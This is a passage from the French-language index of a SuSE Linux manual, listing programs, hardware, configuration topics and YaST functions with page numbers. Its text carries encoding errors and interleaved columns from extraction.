  37340.  *156
  37341.    tex  . . . . . . . . . . . . . . . . . . 410     Trantor T130B   . . . 375, 384                Service de noms   . . . . . . . .*
  37342.  * 230
  37343.    x   . . . . . . . . . . . 239, 408, 409       scsiinfo  . . . . . . . . . . . . . . 312        Service Pro  . . . . . . . . . . *
  37344.  *. . . 561
  37345.    xap  . . . . . . . . . . . . . . . . . . 336  scslog   . . . . . . . . . . . . . . . . 474     Services  . . . . . . . . . . . .*
  37346.  * . . . . 563
  37347.    xsrv   . . . . . . . . . . . . 239, 409       scwm     . . . . . . . . . . . . . . . . . . . 277setserial  . . . . . . . . . . .*
  37348.  * . 307, 312
  37349.    xwm  . . . . . . . . . . . . . . . . . . 267  Scwm  . . . . . . . . . . . . . . . . . . 277    setup  . . . . . . . . . . . . . *
  37350.  *. ii, 51, 57
  37351.    zq  . . . . . . . . . . . . . . . 419, 420    sdb  . . . . . . . . . . . . . . . . . . . . 435 Setup  . . . . . . 10, 50~52, 57,*
  37352.  * 58
  37353. SΘries                                           SDB   . . . . . . . . . . . . . . . . . . . . . 7SETUP   . . . . . . . 102, 341, 3*
  37354.  *42
  37355.    Index   . . . . . . . . . . . . . . . . . 98  sdb_de   . . . . . . . . . . . . . . . . 435     setup.exe  . . . . . . . . . . . *
  37356.  *. 62, 142
  37357.    Recherche  . . . . . . . . . . . . . 98       sdb_en  . . . . . . . . . . 8, 184, 407          setup.exe        . . . . . . . . *
  37358.  *. . . . . . 10
  37359. samba  . . . . . . . . . . . . . 108, 413        Seagate ST01/02  . . . . . . . . 375             Setup.exe   . . . . . . . . . . .*
  37360.  * . 50, 51
  37361. Samba  . . . . . . . . . . . . . 229, 459        secchk   . . . . . . . . . . . . . . . . 473     seyon  . . . . . . . . . . . . . *
  37362.  *. 190, 409
  37363.    Droits d'accΦs   . . . . . . . . 231          Secteur d'amorτage   . . . . . 118               sgcheck   . . . . . . . . . . . .*
  37364.  * . . . . 312
  37365. sane  . . . . . . . . . . . . . . . . . . . 312  Section Device  . . . . . . . . . . 260          SGML   . . . . . . . . . . . . . *
  37366.  *. . . . 409
  37367. SANE  . . . . . . . . . . . . . . . . . . 312    Section Files  . . . . . . . . . . . . 260       sh  . . . . . . . . . . . . . . .*
  37368.  * . . 518, 534
  37369. Sanyo, CD-ROM   . . . 382, 391                   Section Keyboard   . . . . . . . 260             shell   . . . . . . . . . . . . .*
  37370.  * . . . . . . 476
  37371. Sauvegarde   . . . . . . . . 113, 525            Section Monitor  . . . . . . . . . 260           Shell  . . . . . . . . . . . . . *
  37372.  *. . . . . . 525
  37373. Sauvegarde de donnΘes  . . 113,                  Section Pointer  . . . . . . . . . . 260         SHELL  . . . . . . . . . . . . . *
  37374.  *. . . . . 527
  37375.       492                                        Section Screen  . . . . . . . . . . 260          shlibs5   . . . . . . . . . . . .*
  37376.  * . . . 409
  37377. sax    . . . . . . . . . . . . . . . . . . . . 239secumod   . . . . . . . . . . . . . . . 474     shutdown   . . . . . . . . . . 44*
  37378.  *0, 483
  37379. sax  . . . . . . . . . . . . . . . . . . . . 239 sed  . . . . . . . . . . . . . . . . . . . . . . .S4hutdown   . . . . . . . . . . *
  37380.  *. . . . 460
  37381. SaX   vi, 26, 27, 114, 239~246,                  Send queue  . . . . . . . . . . . . . 218        Siemens  . . . . . . . . . . . . *
  37382.  *. . . . . . 3
  37383.       248~251, 541                                  SuSEFax  . . . . . . . . . . . . . 211        Signification des commandes  .
  37384. Scanner   . . . . . . . voir MatΘriel,           sendfax   . . . . . . . . . . . . . . . . 211          494
  37385.       Scanner                                    sendfax   . . . . . . . . . . . . . . . 211      Simple Network Paging
  37386.    Configuration  . . . . . . . . . 100          sendmail  . . . . . . 107, 157, 163,                   Protocol  . . . . . . . . .*
  37387.  * . . . 221
  37388. SchΘma   . . . . . . voir PCMCIA,                      205~207, 412, 456                          SINUS Firewall I  . . . . . . . .*
  37389.  * 478
  37390.       SchΘma                                     sendmail   . . . . . . . . . 471, 480            SLIP  . . . . . . . . . . . . . .*
  37391.  * . . . . . 171
  37392. SCO-Unix  . . . . . . . . . . . . . . 500        Sendmail  . . . vi, 205, 408, 443                Smarthost   . . . . . . . . . . .*
  37393.  * . . . 206
  37394. Screen   . . . . . . . . . . . . . . . . . 260      Configuration  . . . . . . . . . 107          SMB  . . . . . . . . . . . . . . *
  37395.  *. . . . . 229
  37396. Scripts de dΘmarrage   . . . . 163               server.exe   . . . . . . . . . . . . . . 119     smbmount  . . . . . . . . . . . .*
  37397.  * . . 413
  37398.  
  37399.  
  37400. 582
  37401.        ___________________________________________________________________________________________________________________________I*
  37402.  *ndex__________________
  37403.  
  37404.  
  37405.  
  37406. SMC 9194  . . . . . . . . . . . . . . 389        Sony CDU535, CD-ROM  . . . .                     SuSE
  37407. SMC Ultra   . . . . . . . . . . . . . 388              382, 391                                      NumΘros de tΘlΘphone  . 563
  37408. SMP   . . . . . . . . . . . . . . 521, 526       Soundblaster 16  . . . . . . . . . 302              Services  . . . . . . . . . . *
  37409.  *. . . . 563
  37410.    SΘlection du noyau  . 38, 104                 Sources   . . . . . . . . . . . . . . . . . 95   SuSE PRESS   . . . . . . . . . . *
  37411.  *. 229
  37412. SMTP  . . . . . . . . . . . . . 205, 456            Compiler  . . . . . . . . . . . . . 419       SuSEconfig  . . x, 40, 115, 158,
  37413. snd_au   . . . . . . . . . . . . . . . . 305     Souris  . . . . . . . . . . . . . . . . . . 453        166, 205, 207, 273, 283,
  37414. snd_mod   . . . . . . . . . . . . . . . 305         Bus  . . . . . . . . . . . . . . . . . . 252        285, 321, 408, 439, 450,
  37415. snd_wav   . . . . . . . . . . . . . . . 305         Configuration  . . . . . . . . . 100                451, 453, 457, 459, 534
  37416. SNiFF+   . . . . . . . . . . . . . . . . . 69       HiTablet  . . . . . . . . . . . . . . 252     SuSEconfig  . . . . . . . . . . .*
  37417.  * . . 450
  37418. SNPP  . . . . . . . . . . . . . . . . . . 221       Logitech   . . . . . . . . . . . . . 252      SuSEconfig.kdm   . . . . . . . . *
  37419.  *273
  37420. so_fr  . . . . . . . . . . . . . . . . . . 544      Logitech (MouseMan)  . 252                    susefax  . . . . . . . . . . . 21*
  37421.  *1, 220
  37422. Software AG  . . . . . . . . . . . . . . 3          Microsoft  . . . . . . . . . . . . . 252      SuSEFax  . . . vi, 211__, 211, 21*
  37423.  *2,
  37424. Son  . . . . . . . . . . . . . . . . . . . . 542    MM-Serie  . . . . . . . . . . . . 252               216, 217, 220, 221
  37425.    AD1816, chip  . . . . . . . . . 392              Mouse Systems   . . . . . . . 252             susefax.images
  37426.    AD1848/CS4248, chip                              pas d'accΦs possible   . . . . 19                SuSEFax  . . . . . . . . . . .*
  37427.  * . . 211
  37428.       (MSS)   . . . . . . . . . . . . . 392         PS/2   . . . . . . . . . . . . . . . . . 252  susefax.phonebook.file
  37429.    Aztech Sound Galaxy  . . 397                  Souris bus  . . . . . . . . . . . . . . 252         SuSEFax  . . . . . . . . . . .*
  37430.  * . . 211
  37431.    Chipsets carte son DSP   398                     Logitech   . . . . . . . . . . . . . 380      susefax.setup.file
  37432.    Creative Ensoniq 1371,                        Sous-systΦme Parport  . . . . 307                   SuSEFax  . . . . . . . . . . .*
  37433.  * . . 211
  37434.       chipset  . . . . . . . . . . . . . 393     sox  . . . . . . . . . . . . . . . . . . . . 305 susefax.setup.path
  37435.    Crystal 423x, chipsets   . 393                sp   . . . . . . . . . . . . . . . . . . . . . 409  SuSEFax  . . . . . . . . . . .*
  37436.  * . . 211
  37437.    Ensoniq 1370, chipset   . 393                 SpΘcifier les systΦmes de                        susehilf  . . . . . 184, 228, 435
  37438.    Ensoniq SoundScape   . . 397                        fichiers  . . . . . . . . . . . . . . 89   SuSE    Linux   . . . . . . . . .*
  37439.  * . . . 423
  37440.    Gravis Ultrasound  . . . . . 393              spindown  . . . . . . . . . . . . . . . 329         Disposition du clavier   . 443
  37441.    MAD16  . . . . . . . . . . . . . . 393        Spool                                               Installation   . . . . . . . .*
  37442.  * . . . 429
  37443.    MediaTrix AudioTrix Pro  . .                     DΘfinition   . . . . . . . . . . . . 334         ParticularitΘs  . . . . . . . *
  37444.  *. . . 423
  37445.       397                                        squid  . . . . . . . . . . . . . . . . . . . 458    SystΦme d'aide  . . . . . . . *
  37446.  *. 435
  37447.    MPU401   . . . . . . . . . . . . . 394        squid  . . . . . . . . . . . . . . . . . . 414      SystΦme de secours  . . . . 438
  37448.    OPL3  . . . . . . . . . . . . . . . . 395     squid2   . . . . . . . . . . . . . . . . 414
  37449.    OPL3-SA1   . . . . . . . . . . . 395          ssh  . . . . . . . 114, 469, 476, 543            susepak   . . . . . . . . . . . .*
  37450.  * . . . 435
  37451.    OPL3-SAx   . . . . . . . . . . . 395          ssh  . . . . . . . . . . . 469, 476, 480         susewm  . . 110, 265, 277, 278,
  37452.    OPLx, pilote gΘnΘrique   392                  SSH   . . . . . . . . . . . . . . . . . . . 515        283
  37453.    Personal Sound System                         SSL  . . . . . . . . . . . . . . . 470__, 515       Configurer  . . . . . . . . . *
  37454.  *. . . 110
  37455.       (ECHO ESC614)  . . . . 396                 Standby  . . . . . . . . . . . . . . . . 327        GΘnΘralitΘs   . . . . . . . . *
  37456.  *. . . 282
  37457.    Pro Audio Spectrum  . . . 396                 Star Division  . . . . . . . . . . . . . . 3        Utilisation  . . . . . . . . .*
  37458.  * . . . 284
  37459.    S3 Sonic Vibes  . . . . . . . . 397           Staroffice  . . . . . . . . . . . . . . . . 69   susewm   . . . . . . . . . . . . *
  37460.  *. . . . 282
  37461.    Sound Blaster et clones   396                 StarOffice  . . . . . . . . . . 411, 544         susewm   . . . . . . . . . . . . *
  37462.  *. . . . 282
  37463.    Turtle Beach                                  startx  . . . . . . . . . . . . . . 109, 249     SuSEwm   . . . . . . vii, 270, 27*
  37464.  *7,
  37465.       Classic/Monterey/Tahiti  . .               Stephan Endra▀   . . . . . . . . . . 12                282~286
  37466.       394                                        Streamer   . . . . . . voir MatΘriel,            Suspend  . . . . . . . . . . . . *
  37467.  *. . . . 327
  37468.    Turtle Beach Maui et Tropez                         lecteurs de bandes                         Swap  . . . . . . . . . . . . . .*
  37469.  * . 89, 526
  37470.       394                                           SCSI  . . . . . . . . . . . . . . . . . 371   swat   . . . . . . . . . . . . . *
  37471.  *. . . . . . 234
  37472.    Turtle Beach Maui, Tropez,                    suid  . . . . . . . . . . . . . . . . . . . . 472Sybase  . . . . . . . . . . . . .*
  37473.  * . . . 3, 69
  37474.       Tropez Plus  . . . . . . . . . 398         SunOS  . . . . . . . . . . . . . . . . . 500     Syn Flood Protection   . . . . 455
  37475.    Turtle Beach MultiSound   . .                 Super-serveur Internet   . . . 475               syncPPP  . . . . . . . . . . . 18*
  37476.  *0, 181
  37477.       394                                        Support d'installation  . . . . . 83             syslinux   . . . . . . . . . . . *
  37478.  *425, 426
  37479.    Turtle Beach Pinnacle/Fiji  . .               Support infrarouge  . voir IrDA                  Syslinux  . . . . . . . . . . . .*
  37480.  * . . . . . 57
  37481.       394                                        Suppression                                      SYSLINUX   . . . . . . . . . . . *
  37482.  *. 370
  37483.    UART401  . . . . . . . . . . . . 397             LILO   . . . . . . . . . . . . . . . . 131    syslog  . . . . . . . . . . . . .*
  37484.  * . . . . . 440
  37485.    UART6850  . . . . . . . . . . . 398           Supprimer                                        Sysrq   . . . . . voir Noyau, Sys*
  37486.  *rq
  37487.    YMF71x   . . . . . . . . . . . . . 395           Linux  . . . . . . . . . . . . . . . . 131    SystΦme
  37488. Sony CDU31A  . . . . . 382, 391                  suse  . . . . . . . . . . . . . . . . . . . . 271   Contr⌠le  . . . . . . . . . . *
  37489.  *. . . . 336
  37490. Sony CDU33A  . . . . . 382, 391                  SuSE      . . . . . . . . . . . . . . . . . . 423   Mise α jour   . . . . . . . . *
  37491.  *. . . 403
  37492.  
  37493.  
  37494.                                                                                                                                    *
  37495.  *   583
  37496. Index             _________________________________________________________________________________________________________________*
  37497.  *_______________________________________@
  37498.  
  37499.  
  37500.  
  37501. SystΦme CD Live   voir System                    Tampon   . . . . . . . . . . . . . . . . 527     Tripwire  . . . . . . . . . . . .*
  37502.  * . . . . 472
  37503.       Live                                       tar   . . . . . . . . . . . . . 73, 413, 443     TSI  . . . . . . . . . . . . . . *
  37504.  *. . 218, 227
  37505. SystΦme d'aide  . . . . . . . . . . 435          tar    . . . . . . . . . . . . . . . . . . . . 413tunelp  . . . . . . . . . . . . *
  37506.  *. . . . . . 334
  37507. SystΦme d'impression   . . . voir                tar    . . . . . . . . . . . . . . . . . . . . 492Tux   . . . . . . . . . . . . . *
  37508.  *. . . . . . . . . 7
  37509.       SystΦme de spool                           Tartempion S.A.R.L   . . . . . . . 7             Type de souris   . . . . . . . . *
  37510.  *. . 252
  37511. SystΦme d'urgence   . . . . . . 438              Task   . . . . . . . . . . . . . . . . . . . 527
  37512. SystΦme de fichiers  . . . . . . 526             tcl  . . . . . . . . . . . . . . . . . . . . 363 U
  37513.    FHS   . . . . . . . . . . . . . . . . . 423   Tcl/Tk   . . . . . . . . . . . . . . . . . 412   ugidd   . . . . . . . . . . . . .*
  37514.  * . . . . . 168
  37515.    ReiserFS   . . . . . . . . . . . . . . 90     TCP-Wrapper  . . . . . . . . . . . 479           ulimit      . . . . . . . . . . .*
  37516.  * . . . . . 496
  37517.    vfat  . . . . . . . . . . . . . . . . . . . 91tcpd  . . . . . . . . . . . . . . . . . . . . 479Ultrastor   . . . . . . . . . . .*
  37518.  * . . . . 368
  37519. SystΦme de fichiers Live  . voir                 tcsh   . . . . . . . . . . . . . . . 518, 534    UMSDOS  . . . . . . . . . . . . .*
  37520.  * . 527
  37521.       SystΦme Live                               te_dvilj  . . . . . . . . . . . . . . 340        Universal Serial Bus  voir USB
  37522. SystΦme de secours  . . . . . . 438              Telix  . . . . . . . . . . . . . . . . . . . 190 Unix  . . . . . . . . . . . . . .*
  37523.  * . . . . . 481
  37524.    DΘmarrer  . . . . . . . . . . . . . 439       telnet  106, 173, 440, 456, 462,                    DΘbuts  . . . . . . . . . . . *
  37525.  *. . . . 481
  37526.    Utilisation  . . . . . . . . . . . . 440            476, 535, 543                              UNIX  . . . . 211, 221, 511, 516,
  37527. SystΦme de spool  . . . . . . . . 333            Telnet  . . . . . . . . . . . . . . . . . . 527        526, 527
  37528.    apsfilter   . . . . . . . . . . . . . . 340   termcap   . . . . . . . . . . . . . . . . 442    Unix98 PTY  . . . . . . . . . . .*
  37529.  * . 411
  37530.    Composants   . . . . . . . . . . 335          Terminal   . . . . . . . . . . . . . . . 527     updatedb   . . . . . . . . . . . *
  37531.  *. . . . 461
  37532.    Configuration apsfilter  . 341                Test mΘmoire   . . . . . . . . . . . 370         URL  . . . . . . . . . . . . . . *
  37533.  *. . . . . 527
  37534.    DΘmon  . . . . . . . . . . . . . . . 337      Tester une machine  . . . . . . 433              USB  . . . . . . . . . . . . . . *
  37535.  *. . . . . 308
  37536.    Files d'impression  . . . . . 338             teTeX   . . . . . . . . . . . . . 410, 423       USENET  . . . . . . . . . . . . .*
  37537.  * . . 208
  37538.    Files d'impression apsfilter  .               Texinfo  . . . . . . . . . . . . . . . . . 443   USER  . . . . . . . . . . . . . .*
  37539.  * . . . . . 527
  37540.       341                                        texpire  . . . . . . . . . . . . . 208, 210      useradd   . . . . . . . . . . . .*
  37541.  * . . . . 112
  37542.    Filtres   . . . . . . . . . . . 338, 339      Text                                             userdel  . . . . . . . . . . . . *
  37543.  *. . . . . 112
  37544.    Imprimantes rΘseau  . . . . 346                  Rechercher   . . . . . . . . . . . 491        USRobotics  . . . . . . . . . . .*
  37545.  * . . 227
  37546. systΦme live   . . . . . . . . . . . . . 92      The Open Group   . . . . . . . . 239             Utilisateur
  37547. SystΦme Live   . . . . . . . . . . . 108         The XFree86 Project, Inc.  239                      CrΘer   . . . . . . . . . . . *
  37548.  *. . . . . 482
  37549. SystΦme multiprocesseur  . voir                  Thinkpad                                         Utilisateurs
  37550.       SMP, voir SMP                                 PremiΦre installation  . . . . 62             uucGestionp  ....................*
  37551.  *........111... . . 443
  37552. systΦme X Window  . . . . . . 239                tiff  . . . . . . . . . . . . . . . . . . . 216  uucp   . . . . . . . . . . . . . *
  37553.  *. . . x, 443
  37554. SystΦme X Window  . . . 4, voir                  TIFF Software  . . . . . . . . . . 216           UUCP  . . . . . . . . . . . . . 2*
  37555.  *05, 410
  37556.       X11, 526                                   tiffg3  . . . . . . . . . . . . . . . . . . . 216
  37557.    .Xresources  . . . . . . . . . . . 287        tin   . . . . . . . . . . . . . . . . . . . . . 210V
  37558.    ParamΦtres de l'utilisateur  . .              TIS Firewall Toolkit  . . . . . 478              VΘrifier   . . . . . . . . . . . *
  37559.  *. . . . . 537
  37560.       287                                        tk   . . . . . . . . . . . . . . . . . . . . . 363Variable denvironnement
  37561.    ParamΦtres par dΘfaut  . . 286                tkinfo      . . . . . . . . . . . . . . . . . . . 9 allowed   . . . . . . . . . . *
  37562.  *. . . 346
  37563.    ParamΦtres par dΘfaut de                      tkInfo   . . . . . . . . . . . . . . . . . . . . 9  DISPLAY   . . . . . . . . . . *
  37564.  *. . . 525
  37565.       l'application   . . . . . . .  286         Tkinfo (tkinfo     )  . . . . . . . . 443           FEATURE   . . . . . . . . . . *
  37566.  *. . . 341
  37567. SystΦmes de fichiers                             TMC-16x0  . . . . . . . . . 374, 384                GS_RESOL  . . . . . . . . . . *
  37568.  *. . 354
  37569.    dΘterminer  . . . . . . . . . . . . . 77      TMC-885/950   . . . . . . . . . . 375               HOME   . . 270, 274, 287, 346,
  37570. systΦme X Window  . . . . . . 259                Token Ring  . . . . . . . . . . . . . 389              524, 527
  37571. System Commander Deluxe  . .                     top    . . . . . . . . . . . . . . . . . . . . 499  KDEDIR   . . . . . . . . . . .*
  37572.  * . . . 272
  37573.       45                                         toppp  . . . . . . . . . . . . . . . . . . 197      LANG  . . . . . . . . . . . . *
  37574.  *. . . . . 452
  37575. System is too big  . . . . . . . . 363           Touches de fonction                                 LC_*  . . . . . . . . . . . . *
  37576.  *. . . . . 452
  37577. System V  . . . . . . . . . . . . . . . 445         Ne fonctionnent pas   . . . . 81                 MANPATH  . . . . . . . . . 414*
  37578.  *, 527
  37579.                                                  traceroute   . . . . . . . . . . . . . . 413        PATH   6, 199, 270, 272, 475,
  37580. T                                                Training  . . . . . . . . . . . . . . . . 563          484, 527
  37581. T-ISDN-DSL   . . . . . . . . . . . 189           Transmission Subscriber                             PRINTER   . . . . . . . . . . *
  37582.  *. . . 335
  37583. TΘlΘcΓble  . . . . . . . . . . . . . . . 188           Identification   . . . . . . . 218            run_ldconfig   . . . . . . . 4*
  37584.  *15
  37585. TΓche  . . . . . . . . . . . . . . . . . . 526   Trantor T128/128F/228  . . 375                      SHELL  . . . . . . . . . . . .*
  37586.  * . . . . 527
  37587. TΓche de fond  . . . . . . . . . . . 526         Trantor T130B   . . . . . 375, 384                  USER  . . . . . . . . . . . . *
  37588.  *. . . . . 527
  37589. Table des partitions  . . . . . . 118            tripwire   . . . . . . . 469, 472, 473              WINDOWMANAGER   . 270, 277
  37590. Taille de l'installation  . . . . . 94           tripwire  . . . . . 469, 472, 473                VESA  . . . . . . . . . . . . . .*
  37591.  * . . . . 263
  37592.  
  37593.  
  37594. 584
  37595.        ___________________________________________________________________________________________________________________________I*
  37596.  *ndex__________________
  37597.  
  37598.  
  37599.  
  37600. VG-AnyLAN  . . . . . . . . . . . 388             wvdial   vi, 172, 190, 191, 193,                    Section Monitor  . . . . . . .*
  37601.  * 263
  37602. vi   . 4, 440, 490, 506, 507, 514                      194, 196, 197, 320, 321,                      Section Screen  . . . . . . . *
  37603.  *. 260
  37604. Viren   . . . . . . . . . . . . . . . . . . 543        331                                           Sous-section
  37605. virtuoso   . . . . . . . . . . . . . . . . . 69  wvdial       . . . . . . . . . . . . . . . . 320   Display   . . . . . . . . . . .*
  37606.  * . . . . 262
  37607. Virus  . . . . . . . . . . . 45, 121, 469        wvdial   . . . . . . . . . . . . . . . . 172        Viewport  . . . . . . . . . . *
  37608.  *. . . 262
  37609. Visualiseur externe                              wvdial.lxdialog   . . . . . . . . . 193             Virtual   . . . . . . . . . . *
  37610.  *. . . . . 262
  37611.    SuSEFax  . . . . . . . . . . . . . 216        wvdial.tcl   . . . . . . . . . . . . . . 193     XF86Setup  . . . . 239, 259, 263
  37612. VLB  . . . . . voir Bus local Vesa                                                                XFce  . . . . . . . . . . . . . .*
  37613.  * . . . . . 267
  37614.                                                  X                                                xfontsel   . . . . . . . . . . . *
  37615.  *. . . . . 288
  37616. W                                                X   . . . . . . . . . . . . . . . . . voir X11   xformsd   . . . . . . . . . . . .*
  37617.  * . . . 411
  37618. w   . . . . . . . . . . . . . . . . . . . . . . 498X -probeonly  . . . . . . . 257, 259           XFree86TM    . . . . . . . . . . *
  37619.  *. . . 239
  37620. Wabi  . . . . . . . . . . . . . . . . . . . . 69 X Consortium, Inc.  . . . . 4, 239               xfsetup   . . . . . . . . . . . .*
  37621.  * . . . 239
  37622. WAN  . . . . . . . . . . . . . . 171, 528        X.75  . . . . . . . . . . . . . . . . . . . 180  xglint  . . . . . . . . . . . . 4*
  37623.  *08, 409
  37624. WD80x3   . . . . . . . . . . . . . . . 389       X11  . . . . . . . . . . . . . . . . . . . . 239 xinetd   . . . . . . . . . . . . *
  37625.  *. 456, 479
  37626. Werner Almesberger  . . . . . 138                   .Xresources  . . . . . . . . . . . 287        xinetd   . . . . . . . . . . . . *
  37627.  *. . . . 479
  37628. Western Digital WD80x3   389                        Cartes graphiques   . . . . . 254             xinfo      . . . . . . . . . . . *
  37629.  *. . . . . . . . . 9
  37630. WfW   . . . . . . . . . . . . . . . . . . 500       Configuration   . . . . 240, 251              XInfo   . . . . . . . . . . . . .*
  37631.  * . . . . . . . 9
  37632. wget  . . . . . . . . . . . . . . . . . . . 459    Clavier  . . . . . . . . . . . . . . . . 252   XInfo (xinfo    )  . . . . . . . *
  37633.  *. . . 443
  37634. wget  . . . . . . . . . . . . . . . . . . . 419    Moniteur  . . . . . . . . . . . . . . 253      xlpq  . . . . . . . . . . . . . .*
  37635.  * . . . . . 336
  37636. Wide Area Network  voir WAN                        Serveur X   . . . . . . . . . . . . . 254      xlsfonts   . . . . . . . . . . . *
  37637.  *. . . . . 288
  37638. Widget  . . . . . . . . . . . . . . . . . 286      Souris  . . . . . . . . . . . . . . . . . 252  xntp  . . . . . . . . . . . . . .*
  37639.  * . . . . . 459
  37640. Wildcards  . . . . . . . . . . 488, 528             DΘmarrage trop lent   . . . 284               xpmroot  . . . . . . . . . . . . *
  37641.  *. . . . 278
  37642. Window  . . . . . . . . . . . . . . . . 286         dΘmarrer   . . . . . . . . . . . . . 249      xrdb   . . . . . . . . . . . . . *
  37643.  *. . . . . . 288
  37644. WindowMaker   267~269, 282,                         Gestionnaire d'affichage  . . .               xrpm  . . . . . . . . . . . . . .*
  37645.  * . . . . . 420
  37646.       283                                              460                                        xsetroot  . . . . . . . . . . . .*
  37647.  * 278, 281
  37648. Windowmanager                                       Optimisation  . . . . . . . . . . 259         xsis  . . . . . . . . . . . . . .*
  37649.  * . . . . . 409
  37650.    thΘorie de base  . . . . . . . . 265             ParamΦtres de l'utilisateur  . .              xterm   . . . . . . . . . 173, 19*
  37651.  *0, 278
  37652. WINDOWMANAGER   . . . 270, 277                         287                                        xv  . . . . . . . . . . . . . . .*
  37653.  * . . 278, 279
  37654. Windows   . . . . . . . . . . 221, 546              Shutdown   . . . . . . . . . . . . 460        xvga16   . . . . . . . . . . . . *
  37655.  *. . . . 239
  37656.    Samba   . . . . . . . . . . . . . . . 459     X11R1  . . . . . . . . . . . . . . . . . 239     xvidtune  . . . . . . . . . . . .*
  37657.  * . . . . 251
  37658.    SMB  . . . . . . . . . . . . . . . . . 229    X11R6  . . . . . . . . . . . . . . . . . 239     Xwrapper   . . . . . . . . . . . *
  37659.  *. . . 408
  37660. Windows   . . . . . . . . . . . . . . . 229      X11R6.3   . . . . . . . . . . . . . . . 239
  37661. Windows NT  . . 211, 229, 500,                   x3dlabs   . . . . . . . . . . . . . . . 409      Y
  37662.       526                                        xarchie   . . . . . . . . . . . . 286, 287       yast
  37663.    Amorτage  . . . . . . . . . . . . 135         xcyrix   . . . . . . . . . . . . . . . . 409        ISDN   . . . . . . . . . . . .*
  37664.  * . . . . 176
  37665.    Gestionnaire d'amorτage  . . .                xdm   . . . . . . . . . . 109, 408, 453          yast     . . . . . . . . . . . . *
  37666.  *. . 6, 43, 81
  37667.       119                                        XDM  . . . . . 109, 110, 270, 403                YaST  . ii, iii, v, 2, 5, 6, 10, *
  37668.  *15,
  37669. Windows 95                                       xdvi     . . . . . . . . . . . . . . . . . . . 481     16, 22, 23, 27~29, 32~43,
  37670.    Amorτage  . . . . . . . . . . . . 134         XDvi   . . . . . . . . . . . . . . . . . . 481         45, 48, 56, 64, 68, 75~77,
  37671.    CrΘer des partitions Linux  . .               xearth  . . . . . . . . . . . . . . . . . . 278        79~84, 86, 88, 93, 95~100,
  37672.       55, 56                                     Xenix  . . . . . . . . . . . . . . . . . . 500         102, 104~106, 108, 109,
  37673.    Mode DOS   . . . . . . . . . . . . 50         xf86  . . . . . . . . . . . . . . . . . . . 363        111~115, 123, 130, 134,
  37674. Windows 98   voir Windows 95                     xf86config  239, 251, 257, 259,                        140, 153, 154, 156~158,
  37675. Windows 9x                                             263                                              162, 163, 166, 173, 174,
  37676.    Menu de dΘmarrage   . . . 143                 XF86Config   . . . . . . . . . . . . 251               176~184, 189~196, 205,
  37677. WinFlex  . . . . . . . . . . . . . . . . 221        Clocks   . . . . . . . . . . . . . . . 262          207, 209, 239, 240, 245,
  37678. WinFlex  . . . . . . . . . . . . . . . . 221        Depth  . . . . . . . . . . . . . . . . 262          270, 273, 277, 284, 285,
  37679. WINS  . . . . . . . . . . . . . . . . . . 230       Device  . . . . . . . . . . . . . . . 261           297, 305, 315, 319~321,
  37680. Wrapper                                             modeline  . . . . . . . . . . . . . 262             323, 328, 331, 333, 341,
  37681.    SuSEFax  . . . . . . . . . . . . . 211           Modes   . . . . . . . . . . . . . . . 262           343, 346, 347, 353~355,
  37682. WU-FTPD   . . . . . . . . . . . . . 412             Monitor  . . . . . . . . . . . . . . 261            360, 405~410, 413,
  37683. wuftpd  . . . . . . . . . . . . . . . . . 408       Pilote   . . . . . . . . . . . . . . . . 261        419~421, 426, 435, 436,
  37684. wuftpd   . . . . . . . . . . . . . . . . 412        Section Device  . . . . . . . . 262                 438, 450~453, 455, 468,
  37685.  
  37686.  
  37687.                                                                                                                                    *
  37688.  *   585
  37689. Index             _________________________________________________________________________________________________________________*
  37690.  *_______________________________________@
  37691.  
  37692.  
  37693.  
  37694.       472, 482, 514, 520,                           Inclure des paquetages  . . 98                   XFree  . . . . . . . . . . . .*
  37695.  * . . . . 114
  37696.       531~534, 543, 544                             Index de toutes les sΘries et                 YaST   . . . . . . . . . . . . . *
  37697.  *. . . . . . 81
  37698.    LILO   . . . . . . . . . . . 103, 104               paquetages  . . . . . . . . . .  98        YaST1  . . . . . . . . . . . ix, *
  37699.  *32, 404
  37700.    Administration  . . . . . . . . 100              IntΘgrer le matΘriel  . . . . 100             YaST2  i, ix, 15, 17~23, 25, 26,
  37701.    Configuration de l'amorτage                      kdm   . . . . . . . . . . . . . . . . . 109         28, 326, 404
  37702.       103                                           Lecture du fichier fstab  93                     IntΘgrer la souris   . . . . .*
  37703.  * . . 19
  37704.    Configurations  . . . . . . 82, 94               Menu principal  . . . . . . . . . 82             IntΘgrer le clavier   . . . . *
  37705.  *. . 19
  37706.    Configurer l'imprimante   . . .                  Mettre α jour le systΦme  100                    SΘlection de la zone horaire
  37707.       101                                           Noyau d'amorτage   . . . . 103                      19
  37708.    Configurer la carte rΘseau  . .                  Partitionner  . . . . . . . . . . . . 88      Yellow Pages  . . . . . . . . voi*
  37709.  *r YP
  37710.       100                                           Point de montage  . . . . . . . 91            YP
  37711.    Configurer la souris   . . . 100                 RΘseau  . . . . . . . . . . . . . . . 106        Client  . . . . . . . . . . . *
  37712.  *. . . . . 107
  37713.    Configurer le lecteur de                         SΘcuritΘ du systΦme   . . . 114                  Configurer le client  . . . . *
  37714.  *107
  37715.       CD-ROM   . . . . . . . . . . 100              SΘlection des paquetages  95
  37716.    Configurer le modem  . . 100                     SΘlection des sΘries  . . . . . 95               Nom de domaine  . . . . . . 457
  37717.    Configurer le scanner  . . 100                   SΘlection du noyau  . . . . 104                  Serveur   . . . . . . . . . . *
  37718.  *. . . . 457
  37719.    CrΘer une disquette de                           SΘlectionner la disposition                   yp.conf  . . . . . . . . . . . . *
  37720.  *. . . . . 166
  37721.       secours  . . . . . . . . . . . . . 104           du clavier  . . . . . . . . . . .  83      ypbind   . . . . . . . . . . . . *
  37722.  *. . . . . 166
  37723.    DΘterminer la langue   . . . 83                  Sauvegarde  . . . . . . . . . . . 113         ypclient   . . . . . . . . . 107,*
  37724.  * 165
  37725.    DΘterminer le type du                            SpΘcifier les systΦmes de                     ypserv   . . . . . . . . . . . . *
  37726.  *. . . . 167
  37727.       systΦme de fichiers  . . . 90                    fichiers  . . . . . . . . . . . . . . 89   ypserver  . . . . . . . . . . . .*
  37728.  * . . . . 166
  37729.    DensitΘ des I-noeuds  . . . . 91                 Support d'installation  . . . 83
  37730.    Disposition du clavier  . . . 81                 susewm   . . . . . . . . . . . . . . 110
  37731.    Effacer des paquetages  . 100                    Touches de fonction   . . . . 81              Z
  37732.    Fichier de configuration  114                    VΘrifier les dΘpendances des                  Zone horaire  . . . . . . . . . .*
  37733.  * . . 452
  37734.    Formatage  . . . . . . . . . . . . . 93             paquetages  . . . . . . . . . .  98        Zones d'E/S
